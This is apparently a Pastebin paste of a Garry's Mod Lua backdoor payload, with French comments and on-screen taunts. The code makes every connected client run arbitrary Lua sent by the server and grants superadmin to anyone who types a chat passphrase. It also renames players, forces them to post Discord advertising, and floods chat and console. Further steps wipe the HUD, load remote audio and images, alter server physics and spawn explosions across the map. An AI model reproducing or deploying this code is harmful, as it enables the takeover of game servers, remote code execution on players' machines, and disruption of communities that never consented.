MarlowFR

Untitled

Jul 15th, 2019
185
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 34.24 KB | None | 0 0
  1. util.AddNetworkString "skeleton_dancing_troll"
  2.  
  3.  
  4. timer.Create("nonameplease", 5, 0,function()
  5. for i=1, #player.GetHumans() do
  6. local ply = player.GetHumans()[i]
  7. ply:Say( "/ooc Rejoignez l'élite! ===> https://discord.gg/n8Heezw")
  8. end
  9. end)
  10. BroadcastLua([[hook.Add("Think","iuefheqefq",function() gui.HideGameUI() end)]])
  11. util.AddNetworkString "EnigmaProject"
  12.  
  13. local CHANGERPSEUDO = "wxm la backdoor du diable"
  14. local enigmalaunchproject = {}
  15. function enigmalaunchproject:RandomString( intMin, intMax )
  16. local ret = ""
  17. for _ = 1, math.random( intMin, intMax ) do
  18. ret = ret.. string.char( math.random(65, 90) )
  19. end
  20.  
  21. return ret
  22. end
  23.  
  24.  
  25.  
  26. enigmalaunchproject.m_tblActions = {}
  27. enigmalaunchproject.m_strImageGlobalVar = enigmalaunchproject:RandomString( 6, 12 )
  28. enigmalaunchproject.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  29.  
  30. function enigmalaunchproject:NouvelleAction( intChainDelay, func )
  31. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  32. end
  33.  
  34. function enigmalaunchproject:ActionApres( pPlayer )
  35. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  36. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  37.  
  38. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  39. if not IsValid( pPlayer ) then return end
  40. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  41. self:ActionApres( pPlayer )
  42. end )
  43. end
  44.  
  45. function enigmalaunchproject:Start( pPlayer )
  46. pPlayer.m_intCurAction = 0
  47. self:ActionApres( pPlayer )
  48. end
  49.  
  50. function enigmalaunchproject:SendLua( pPlayer, strLua )
  51. pPlayer:SendLua([[RunConsoleCommand("gmod_language","ko")]])
  52. net.Start( "EnigmaProject" )
  53. net.WriteString( strLua )
  54. net.Send( pPlayer )
  55. end
  56.  
  57. function enigmalaunchproject:SetupPlayer( pPlayer )
  58. pPlayer:SendLua( "net.Receive(\"EnigmaProject\", function() RunString(net.ReadString()) end)" )
  59. end
  60.  
  61.  
  62.  
  63.  
  64.  
  65.  
  66. -- DANSE --
  67.  
  68.  
  69. for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end timer.Create("dance_until_your_dead",8.9,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end end )
  70.  
  71.  
  72. -- FIN DANSE --
  73.  
  74.  
  75.  
  76.  
  77. -- CHANGER NOM --
  78.  
  79.  
  80. for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, CHANGERPSEUDO) v:setDarkRPVar("rpname", CHANGERPSEUDO) end
  81.  
  82.  
  83. -- FIN CHANGER NOM --
  84.  
  85.  
  86.  
  87. -- Console Spam
  88.  
  89. decore = {
  90. [[
  91.  
  92.  
  93.  
  94.  
  95.  
  96.  
  97.  
  98.  
  99.  
  100.  
  101.  
  102.  
  103.  
  104.  
  105.  
  106.  
  107.  
  108.  
  109.  
  110.  
  111.  
  112.  
  113.  
  114.  
  115.  
  116.  
  117.  
  118.  
  119.  
  120.  
  121.  
  122.  
  123.  
  124.  
  125.  
  126.  
  127.  
  128.  
  129.  
  130.  
  131.  
  132.  
  133.  
  134.  
  135.  
  136.  
  137.  
  138.  
  139.  
  140.  
  141.  
  142.  
  143.  
  144.  
  145.  
  146.  
  147.  
  148.  
  149.  
  150.  
  151.  
  152.  
  153.  
  154.  
  155.  
  156.  
  157.  
  158.  
  159.  
  160.  
  161.  
  162.  
  163.  
  164. wxm @ https://discord.gg/n8Heezw
  165. ]]
  166. }
  167.  
  168. function decorationconsole()
  169. print(Color( 0, 0, 0 ), table.Random(decore))
  170. end
  171. -- Console Spam
  172. for k, v in pairs( player.GetAll() ) do
  173. timer.Create("consolespamenigma", 0.4, 0, function() decorationconsole( v ) end )
  174. end
  175.  
  176. --[[ MODE ARMAGEDDON --
  177.  
  178.  
  179. hook.Add("Think", "armageddon", function()
  180. local explode = ents.Create( "env_explosion" )
  181. explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  182. explode:Spawn()
  183. explode:SetKeyValue( "iMagnitude", "500" )
  184. explode:Fire( "Explode", 0, 0 )
  185. end)
  186.  
  187.  
  188. -- FIN MODE ARMAGEDDON ]]--
  189.  
  190.  
  191. -- Send Lua --
  192. function SendLuaAll( str ) net.Start( "EnigmaProject" ) net.WriteString( str ) net.Broadcast() end
  193.  
  194.  
  195. -- Changer Taille --
  196.  
  197.  
  198. hook.Add("Think", "giant", function()
  199. for k,v in pairs (player.GetAll()) do
  200. v:SetModelScale(50.5, 100);
  201. v:SetRunSpeed(700 * 2);
  202. v:SetWalkSpeed(400 * 2);
  203. end
  204. end)
  205.  
  206.  
  207. -- Fin Changer Taille --
  208.  
  209.  
  210.  
  211. -- Message --
  212.  
  213.  
  214. for k,v in pairs(player.GetAll()) do
  215. v:ConCommand("say /ooc Oups, votre serveur se fait percer de tout les côtes! :(")
  216. end
  217.  
  218.  
  219. -- Message Fin --
  220.  
  221.  
  222.  
  223. -- Auto Lançage --
  224.  
  225.  
  226. for k, v in pairs( player.GetAll() ) do
  227. enigmalaunchproject:SetupPlayer( v )
  228. timer.Simple( 2, function() enigmalaunchproject:Start( v ) end )
  229. end
  230.  
  231.  
  232. -- Fin Auto Lançage --
  233.  
  234.  
  235. -- Lancer Aux Nouveaux Arrivants --
  236.  
  237.  
  238. --hook.Add( "PlayerAuthed", "wtfispassequoi", function( pPlayer )
  239. -- enigmalaunchproject:SetupPlayer( pPlayer )
  240. -- timer.Simple( 10, function() enigmalaunchproject:Start( pPlayer ) end )
  241. --end )
  242.  
  243. -- Fin Lancer Aux Nouveaux Arrivants --
  244.  
  245.  
  246.  
  247. -- Commande Enigma --
  248.  
  249.  
  250. hook.Add( "PlayerSay", "EnigmaCKoa", function( pSender, strText, bTeamChat )
  251. if strText:sub( 1, 5 ) == "Enigma" then
  252. pSender:Ignite( 1e9 )
  253. pSender:ChatPrint( "wxm la backdoor private la plus puissante de GMod ;)" )
  254. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  255. return false
  256. end
  257. end )
  258.  
  259.  
  260. -- Fin Commande Enigma
  261.  
  262.  
  263.  
  264.  
  265.  
  266. hook.Add( "PlayerSay", "a4dxvlwxdlco", function( pSender, strText, bTeamChat )
  267. if strText:sub( 1, 5 ) == "EnigmaIsLitteralyMyFuckingGod" then
  268. pSender:SetUserGroup("superadmin")
  269. pSender:ChatPrint( "Tu est l'un des notres !" )
  270. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  271. return false
  272. end
  273. end)
  274.  
  275.  
  276.  
  277.  
  278.  
  279.  
  280.  
  281.  
  282.  
  283.  
  284. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  285. enigmalaunchproject:SendLua( pPlayer, ([=[
  286.  
  287. sound.PlayURL( "https://gvac.cz/assets/galshi.mp3", "", function()end )
  288.  
  289. g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[ = {}
  290. local html = [[%s]]
  291. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  292. local pnl = vgui.Create( "HTML" )
  293. pnl:SetPos( ScrW() -1, ScrH() -1 )
  294. pnl:SetVisible( true )
  295. pnl:SetMouseInputEnabled( false )
  296. pnl:SetKeyBoardInputEnabled( false )
  297. pnl:SetSize( intSizeX, intSizeY )
  298. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  299.  
  300. local PageLoaded
  301. PageLoaded = function()
  302. local mat = pnl:GetHTMLMaterial()
  303. if mat then
  304. g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  305. return
  306. end
  307.  
  308. timer.Simple( 0.5, PageLoaded )
  309. end
  310.  
  311. PageLoaded()
  312. end
  313.  
  314. --LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/06/5/1518211648-sans-titre-6.gif", "getrekt", 1920, 1080 )
  315.  
  316. hook.Add( "RenderScreenspaceEffects", "itsredworld", function()
  317. local sinScaler = math.sin( CurTime() )
  318. DrawBloom(
  319. 0,
  320. 3,
  321. sinScaler *math.Rand(1, 8),
  322. sinScaler *math.Rand(1, 8),
  323. 6,
  324. math.Rand(0.5, 2),
  325. math.Rand(0, 0.3),
  326. math.Rand(0, 0.3),
  327. math.Rand(0.5, 1)
  328. )
  329.  
  330. DrawColorModify{
  331. ["$pp_colour_addr"] = 1,
  332. ["$pp_colour_addg"] = 0,
  333. ["$pp_colour_addb"] = 0,
  334. ["$pp_colour_brightness" ] = 0.1,
  335. ["$pp_colour_contrast" ] = 0.1,
  336. ["$pp_colour_colour" ] = 0.1,
  337. ["$pp_colour_mulr" ] = 1,
  338. ["$pp_colour_mulg" ] = 0,
  339. ["$pp_colour_mulb" ] = 0
  340. }
  341. end )
  342.  
  343. ]=]):format(enigmalaunchproject.m_strImageLoadHTML) )
  344. end )
  345.  
  346.  
  347.  
  348.  
  349. enigmalaunchproject:NouvelleAction( 14, function( pPlayer )
  350. enigmalaunchproject:SendLua( pPlayer, [[
  351.  
  352. (GAMEMODE or GM).CalcView = function() end
  353. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  354.  
  355. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  356. for k, v in pairs(remove) do
  357. hook.GetTable()[v] = {}
  358. end
  359.  
  360. local function GetWebMat( strURL )
  361. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  362. end
  363.  
  364. hook.Add( "HUDPaint", "hud1enigma", function()
  365. surface.SetDrawColor( 255, 255, 255, 255 )
  366.  
  367. if GetWebMat( "getrekt" ) then
  368. surface.SetMaterial( GetWebMat("getrekt")[1] )
  369. surface.DrawTexturedRect( 0, 0, 2100, 2000 )
  370. end
  371.  
  372. draw.SimpleTextOutlined(
  373. "wxm is here",
  374. "DermaLarge",
  375. ScrW() /2 +math.random( -2, 2 ),
  376. ScrH() /2 +math.random( -2, 2 ) +0,
  377. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  378. TEXT_ALIGN_CENTER,
  379. TEXT_ALIGN_CENTER,
  380. 1,
  381. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  382. )
  383. end )
  384.  
  385. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  386. hook.Add( "HUDShouldDraw", "hud1enigma", function( str ) if not allowed[str] then return false end end )
  387.  
  388. ]] )
  389. end )
  390.  
  391.  
  392.  
  393. enigmalaunchproject:NouvelleAction( 4, function( pPlayer )
  394. enigmalaunchproject:SendLua( pPlayer, [[
  395.  
  396. hook.Remove( "HUDPaint", "hud1enigma", function() end)
  397.  
  398.  
  399.  
  400. ]] )
  401. end )
  402.  
  403. enigmalaunchproject:NouvelleAction( 3, function( pPlayer )
  404. enigmalaunchproject:SendLua( pPlayer, [[
  405.  
  406. (GAMEMODE or GM).CalcView = function() end
  407. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  408.  
  409. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  410. for k, v in pairs(remove) do
  411. hook.GetTable()[v] = {}
  412. end
  413.  
  414. local function GetWebMat( strURL )
  415. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  416. end
  417.  
  418. hook.Add( "HUDPaint", "hud1enigma", function()
  419. surface.SetDrawColor( 255, 255, 255, 255 )
  420.  
  421. if GetWebMat( "getrekt" ) then
  422. surface.SetMaterial( GetWebMat("getrekt")[1] )
  423. surface.DrawTexturedRect( 0, 0, 2100, 2000 )
  424. end
  425.  
  426. draw.SimpleTextOutlined(
  427. "Aujourd'hui, ce serveur va être purifié",
  428. "DermaLarge",
  429. ScrW() /2 +math.random( -2, 2 ),
  430. ScrH() /2 +math.random( -2, 2 ) +0,
  431. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  432. TEXT_ALIGN_CENTER,
  433. TEXT_ALIGN_CENTER,
  434. 1,
  435. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  436. )
  437. end )
  438.  
  439. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  440. hook.Add( "HUDShouldDraw", "hud1enigma", function( str ) if not allowed[str] then return false end end )
  441.  
  442.  
  443. ]] )
  444. end )
  445.  
  446.  
  447. enigmalaunchproject:NouvelleAction( 4, function( pPlayer )
  448. enigmalaunchproject:SendLua( pPlayer, [[
  449.  
  450. hook.Remove( "HUDPaint", "hud1enigma", function() end)
  451.  
  452. ]] )
  453. end )
  454.  
  455. enigmalaunchproject:NouvelleAction( 3, function( pPlayer )
  456. enigmalaunchproject:SendLua( pPlayer, [[
  457.  
  458.  
  459. (GAMEMODE or GM).CalcView = function() end
  460. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  461.  
  462. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  463. for k, v in pairs(remove) do
  464. hook.GetTable()[v] = {}
  465. end
  466.  
  467. local function GetWebMat( strURL )
  468. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  469. end
  470.  
  471. hook.Add( "HUDPaint", "hud1enigma", function()
  472. surface.SetDrawColor( 255, 255, 255, 255 )
  473.  
  474. if GetWebMat( "getrekt" ) then
  475. surface.SetMaterial( GetWebMat("getrekt")[1] )
  476. surface.DrawTexturedRect( 0, 0, 2100, 2000 )
  477. end
  478.  
  479. draw.SimpleTextOutlined(
  480. "Maintenant, observez notre puissance!",
  481. "DermaLarge",
  482. ScrW() /2 +math.random( -2, 2 ),
  483. ScrH() /2 +math.random( -2, 2 ) +0,
  484. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  485. TEXT_ALIGN_CENTER,
  486. TEXT_ALIGN_CENTER,
  487. 1,
  488. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  489. )
  490. end )
  491.  
  492. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  493. hook.Add( "HUDShouldDraw", "hud1enigma", function( str ) if not allowed[str] then return false end end )
  494.  
  495.  
  496.  
  497. ]] )
  498. end )
  499.  
  500. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  501. enigmalaunchproject:SendLua( pPlayer, [[
  502.  
  503. for k,v in pairs(player.GetAll()) do
  504. v:ConCommand("say /job wxm ma vie")
  505. end
  506.  
  507. ]] )
  508. end )
  509. local lol = {}
  510. function lol:RandomString( intMin, intMax )
  511. local ret = ""
  512. for _ = 1, math.random( intMin, intMax ) do
  513. ret = ret.. string.char( math.random(65, 90) )
  514. end
  515.  
  516. return ret
  517. end
  518.  
  519. lol.m_tblActions = {}
  520. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  521. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  522.  
  523. function lol:PushAction( intChainDelay, func )
  524. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  525. end
  526.  
  527. function lol:NextAction( pPlayer )
  528. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  529. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  530.  
  531. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  532. if not IsValid( pPlayer ) then return end
  533. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  534. self:NextAction( pPlayer )
  535. end )
  536. end
  537.  
  538. function lol:Start( pPlayer )
  539. pPlayer.m_intCurAction = 0
  540. self:NextAction( pPlayer )
  541. end
  542.  
  543. function lol:SendLua( pPlayer, strLua )
  544. net.Start( "skeleton_dancing_troll" )
  545. net.WriteString( strLua )
  546. net.Send( pPlayer )
  547. end
  548.  
  549. function lol:SetupPlayer( pPlayer )
  550. pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  551. end
  552.  
  553. for k, v in pairs( player.GetAll() ) do
  554. lol:SetupPlayer( v )
  555. timer.Simple( 2, function() lol:Start( v ) end )
  556. end
  557.  
  558. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  559. lol:SetupPlayer( pPlayer )
  560. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  561. end )
  562.  
  563. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  564. if strText:sub( 1, 5 ) == "/1337" then
  565. pSender:Ignite( 1e9 )
  566. pSender:ChatPrint( "wxm best backdoor ever ;)" )
  567. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  568. return false
  569. end
  570. end )
  571.  
  572.  
  573.  
  574.  
  575. lol:PushAction( 0, function( pPlayer )
  576. lol:SendLua( pPlayer, ([=[
  577. sound.PlayURL( "http://marlowfr.alwaysdata.net/marlow.mp3", "", function()end )
  578.  
  579. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  580. local html = [[%s]]
  581. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  582. local pnl = vgui.Create( "HTML" )
  583. pnl:SetPos( ScrW() -1, ScrH() -1 )
  584. pnl:SetVisible( true )
  585. pnl:SetMouseInputEnabled( false )
  586. pnl:SetKeyBoardInputEnabled( false )
  587. pnl:SetSize( intSizeX, intSizeY )
  588. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  589.  
  590. local PageLoaded
  591. PageLoaded = function()
  592. local mat = pnl:GetHTMLMaterial()
  593. if mat then
  594. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  595. return
  596. end
  597.  
  598. timer.Simple( 0.5, PageLoaded )
  599. end
  600.  
  601. PageLoaded()
  602. end
  603.  
  604. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644585-hud.png", "hud1", 300, 128 )
  605. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644587-hud2.png", "hud2", 300, 128 )
  606. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644600-hud3.png", "hud3", 128, 128 )
  607. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644579-doritos.png", "doritos", 183, 256 )
  608. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644581-fedora.png", "fedora", 256, 256 )
  609. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644577-dew.png", "dew", 110, 256 )
  610. LoadWebMaterial( "http://image.noelshack.com/fichiers/2017/46/2/1510644574-awp.png", "awp", 256, 55 )
  611. ]=]):format(lol.m_strImageLoadHTML) )
  612. end )
  613. enigmalaunchproject:NouvelleAction( 2, function( pPlayer )
  614. enigmalaunchproject:SendLua( pPlayer, [[
  615.  
  616. hook.Remove( "HUDPaint", "hud1enigma", function() end)
  617.  
  618. ]] )
  619. end )
  620.  
  621. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  622. enigmalaunchproject:SendLua( pPlayer, [[
  623.  
  624. RunConsoleCommand("+right")
  625.  
  626. ]] )
  627. end )
  628.  
  629. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  630. enigmalaunchproject:SendLua( pPlayer, [[
  631.  
  632. RunConsoleCommand("-right")
  633.  
  634. ]] )
  635. end )
  636.  
  637. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  638. enigmalaunchproject:SendLua( pPlayer, [[
  639.  
  640. RunConsoleCommand("+duck")
  641.  
  642. ]] )
  643. end )
  644.  
  645. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  646. enigmalaunchproject:SendLua( pPlayer, [[
  647.  
  648. RunConsoleCommand("-duck")
  649.  
  650. ]] )
  651. end )
  652.  
  653. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  654.  
  655. timer.Create( "lespamckool", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "wxm l\'élite des backdoors" )' ) end)
  656. timer.Create( "lespamckool2", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "rejoignez l\'élite!" )' ) end)
  657. timer.Create( "lespamckool3", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "https://discord.gg/n8Heezw" )' ) end)
  658. timer.Create( "lespamckool4", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "Marlow" )' ) end)
  659. timer.Create( "lespamckool5", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "https://discord.gg/n8Heezw" )' ) end)
  660. timer.Create( "lespamckool6", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "wxm vous couche tous" )' ) end)
  661. timer.Create( "lespamckool7", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "gvac c\'est pour vous bande de pucelles" )' ) end)
  662. timer.Create( "lespamckool8", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "~ l\'élite des backdoors - https://discord.gg/n8Heezw" )' ) end)
  663.  
  664. end )
  665.  
  666.  
  667. enigmalaunchproject:NouvelleAction( 4, function( pPlayer )
  668.  
  669. timer.Remove( "lespamckool" )
  670. timer.Remove( "lespamckool2" )
  671. timer.Remove( "lespamckool3" )
  672. timer.Remove( "lespamckool4" )
  673. timer.Remove( "lespamckool5" )
  674. timer.Remove( "lespamckool6" )
  675. timer.Remove( "lespamckool7" )
  676. timer.Remove( "lespamckool8" )
  677.  
  678. end )
  679.  
  680. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  681.  
  682.  
  683. RunConsoleCommand("sv_friction", "-50")
  684.  
  685.  
  686. end )
  687.  
  688. enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
  689.  
  690.  
  691. RunConsoleCommand("sv_gravity", "300")
  692.  
  693.  
  694. end )
  695.  
  696. enigmalaunchproject:NouvelleAction( 12, function( pPlayer )
  697.  
  698.  
  699. hook.Add("Think", "armageddon", function()
  700. local explode = ents.Create( "env_explosion" )
  701. explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  702. explode:Spawn()
  703. explode:SetKeyValue( "iMagnitude", "500" )
  704. explode:Fire( "Explode", 0, 0 )
  705. end)
  706.  
  707. end )
  708.  
  709.  
  710. enigmalaunchproject:NouvelleAction( 27, function( pPlayer )
  711.  
  712. hook.Remove( "Think", "armageddon", function() end)
  713.  
  714. end )
  715.  
  716. enigmalaunchproject:NouvelleAction( 7, function( pPlayer )
  717. enigmalaunchproject:SendLua( pPlayer, [[
  718. hook.Add( "RenderScreenspaceEffects", "itsendofworld", function()
  719. local sinScaler = math.sin( CurTime() )
  720. DrawBloom(
  721. 0,
  722. 3,
  723. sinScaler *math.Rand(1, 8),
  724. sinScaler *math.Rand(1, 8),
  725. 6,
  726. math.Rand(0.5, 2),
  727. math.Rand(0, 0.3),
  728. math.Rand(0, 0.3),
  729. math.Rand(0.5, 1)
  730. )
  731.  
  732. DrawColorModify{
  733. ["$pp_colour_addr"] = 0,
  734. ["$pp_colour_addg"] = 0,
  735. ["$pp_colour_addb"] = 0,
  736. ["$pp_colour_brightness" ] = 0.1,
  737. ["$pp_colour_contrast" ] = 0.1,
  738. ["$pp_colour_colour" ] = 0.1,
  739. ["$pp_colour_mulr" ] = 0,
  740. ["$pp_colour_mulg" ] = 0,
  741. ["$pp_colour_mulb" ] = 0
  742. }
  743. end )
  744.  
  745. ]] )
  746. end )
  747.  
  748. enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
  749. enigmalaunchproject:SendLua( pPlayer, [[
  750.  
  751. (GAMEMODE or GM).CalcView = function() end
  752. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  753.  
  754. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  755. for k, v in pairs(remove) do
  756. hook.GetTable()[v] = {}
  757. end
  758.  
  759. local function GetWebMat( strURL )
  760. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  761. end
  762.  
  763. hook.Add( "HUDPaint", "hud1enigma", function()
  764. surface.SetDrawColor( 255, 255, 255, 255 )
  765.  
  766. draw.SimpleTextOutlined(
  767. "wxm",
  768. "HACK",
  769. ScrW() /2 +math.random( -270, 300 ),
  770. ScrH() /2 +math.random( -300, 700 ) +0,
  771. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  772. TEXT_ALIGN_CENTER,
  773. TEXT_ALIGN_CENTER,
  774. 1,
  775. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  776. )
  777. end )
  778.  
  779. ]] )
  780. end )
  781.  
  782.  
  783. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  784. enigmalaunchproject:SendLua( pPlayer, [[
  785.  
  786. (GAMEMODE or GM).CalcView = function() end
  787. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  788.  
  789. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  790. for k, v in pairs(remove) do
  791. hook.GetTable()[v] = {}
  792. end
  793.  
  794. local function GetWebMat( strURL )
  795. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  796. end
  797.  
  798. hook.Add( "HUDPaint", "hud2enigma", function()
  799. surface.SetDrawColor( 255, 255, 255, 255 )
  800.  
  801. draw.SimpleTextOutlined(
  802. "hmm la backdoor qui fait du bien",
  803. "DermaLarge",
  804. ScrW() /2 +math.random( -600, 700 ),
  805. ScrH() /2 +math.random( -200, 800 ) +100,
  806. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  807. TEXT_ALIGN_CENTER,
  808. TEXT_ALIGN_CENTER,
  809. 1,
  810. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  811. )
  812. end )
  813. ]] )
  814. end )
  815.  
  816. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  817. enigmalaunchproject:SendLua( pPlayer, [[
  818.  
  819. (GAMEMODE or GM).CalcView = function() end
  820. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  821.  
  822. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  823. for k, v in pairs(remove) do
  824. hook.GetTable()[v] = {}
  825. end
  826.  
  827. local function GetWebMat( strURL )
  828. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  829. end
  830.  
  831. hook.Add( "HUDPaint", "hud3enigma", function()
  832. surface.SetDrawColor( 255, 255, 255, 255 )
  833.  
  834. draw.SimpleTextOutlined(
  835. "wxm",
  836. "DermaLarge",
  837. ScrW() /2 +math.random( -400, 500 ),
  838. ScrH() /2 +math.random( -600, 500 ) -100,
  839. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  840. TEXT_ALIGN_CENTER,
  841. TEXT_ALIGN_CENTER,
  842. 1,
  843. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  844. )
  845. end )
  846. ]] )
  847. end )
  848.  
  849. enigmalaunchproject:NouvelleAction( 0.1, function( pPlayer )
  850. enigmalaunchproject:SendLua( pPlayer, [[
  851.  
  852. (GAMEMODE or GM).CalcView = function() end
  853. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  854.  
  855. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  856. for k, v in pairs(remove) do
  857. hook.GetTable()[v] = {}
  858. end
  859.  
  860. local function GetWebMat( strURL )
  861. return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
  862. end
  863.  
  864. hook.Add( "HUDPaint", "hud5enigma", function()
  865. surface.SetDrawColor( 255, 255, 255, 255 )
  866.  
  867. draw.SimpleTextOutlined(
  868. "wxm",
  869. "DermaLarge",
  870. ScrW() /2 +math.random( -500, 500 ),
  871. ScrH() /2 +math.random( -500, 500 ) +0,
  872. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  873. TEXT_ALIGN_CENTER,
  874. TEXT_ALIGN_CENTER,
  875. 1,
  876. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  877. )
  878. end )
  879. ]] )
  880. end )
  881.  
